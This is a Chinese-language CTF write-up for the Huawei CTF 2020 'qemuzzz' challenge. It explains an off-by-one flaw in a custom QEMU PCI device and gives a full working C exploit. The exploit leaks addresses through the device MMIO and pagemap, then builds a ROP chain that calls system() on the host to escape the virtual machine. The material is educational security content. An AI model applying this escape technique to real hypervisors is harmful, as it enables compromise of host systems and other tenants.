0%

华为CTF2020第一场_qemuzzz_1

存在一个off by one,可以多读取或写入一个字节

其中buf后面是设备obj指针,由于读写会用到这个指针,因此,我们可以修改obj指针的低1字节,使得phys_addr、length、pos、obj、以及cpu_physical_memory_rw函数指针等字段偏移到buf可控区里。

同时cpu_physical_memory_rw是以原来对象指针来取得,而不是从obj,因此可以通过修改后的obj的buf来写cpu_physical_memory_rw指针。

由于offset等字段的设置不是为obj指针设置,而是原来位置设置

因此可以使用异或操作来将length1的低1位取反,进而可以在读操作完成后进行最后一步写操作。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>


#define PFN_MASK ((((size_t)1)<<54)-1)

char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;

void die(char *msg) {
perror(msg);
exit(-1);
}
//写设备内存
void mmio_write(uint32_t addr,uint32_t val) {
*((uint32_t *)(mmio + addr)) = val;
}

//读设备内存
uint64_t mmio_read(uint32_t addr) {
return *((uint32_t *)(mmio + addr));
}

void setPhyAddr(uint32_t val) {
mmio_write(32,val);
}

void setPos(uint32_t val) {
mmio_write(16,val);
}

void setLength(uint32_t val) {
mmio_write(24,val);
}

void enc() {
mmio_write(80,0x666);
}

void mem_read_write(uint32_t phyAddr,uint32_t pos,uint32_t length) {
setPhyAddr(phyAddr);
setPos(pos);
setLength(length);
mmio_write(96,0x666);
}

size_t get_phys_addr(char *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK);
return addr;
}


int main(int argc,char ** argv) {
//打开设备
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存,才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
size_t *d = (size_t *)buffer;
d[0] = buffer_phys_addr * 0x1000;
d[1] = (0xFD0 << 16) | 0x11;
mem_read_write(buffer_phys_addr,0x20,0x10);

//Off by one读取对象指针低1字节
mem_read_write(buffer_phys_addr,0xFFF,0x3);
printf("obj_addr_low_bit=0x%x\n",buffer[1]);

buffer[1] = buffer[1] + 0x30;
//Off by one使得对象指针下移
mem_read_write(buffer_phys_addr,0xFFF,0x2);
//泄露cpu_physical_memory_rw地址
mem_read_write(buffer_phys_addr,0xFD0,0x7);
size_t obj_addr = d[0] - 0x30;
size_t elf_base = d[1] - 0x5bc5c0;
size_t system_addr = elf_base + 0x2A7A80;
//push rsi ; pop rsp ; clc ; jmp qword ptr [rsi + 0xf]
size_t gadget = elf_base + 0x0000000000321956;
size_t pop_rdi = elf_base + 0x00000000002ad4a5;
size_t pop_rsp = elf_base + 0x00000000002ad883;
/*pop rax ; pop rbx ; pop rbp ; ret*/
size_t pop_3 = elf_base + 0x00000000003b15ff;
printf("obj_addr=0x%lx\n",obj_addr);
printf("elf_base=0x%lx\n",elf_base);
printf("system_addr=0x%lx\n",system_addr);

setPos(0x28);
setLength((0x28+0x4) * 2);
enc();

memset(buffer,0,0x1f);
memcpy(buffer+0x1f,&pop_3,0x8); //
//rop
d = (size_t *)(buffer + 0x28);
d[0] = pop_rsp;
d[1] = obj_addr+0xe19 + 0x47 + 0x9e0;

d = (size_t *)(buffer + 0x47);
d[0] = pop_rdi;
d[1] = obj_addr+0xe19 + 0x5f + 0x9e0;
d[2] = system_addr;
memcpy(buffer+0x5f,"cat flag",0x8);

d = (size_t *)(buffer + 0x1f7);
d[0] = obj_addr+0xe19;
d[1] = gadget;
mem_read_write(buffer_phys_addr,0x666,0x6);
//getchar();
//getshell
mem_read_write(buffer_phys_addr,0x666,0x6);

return 0;
}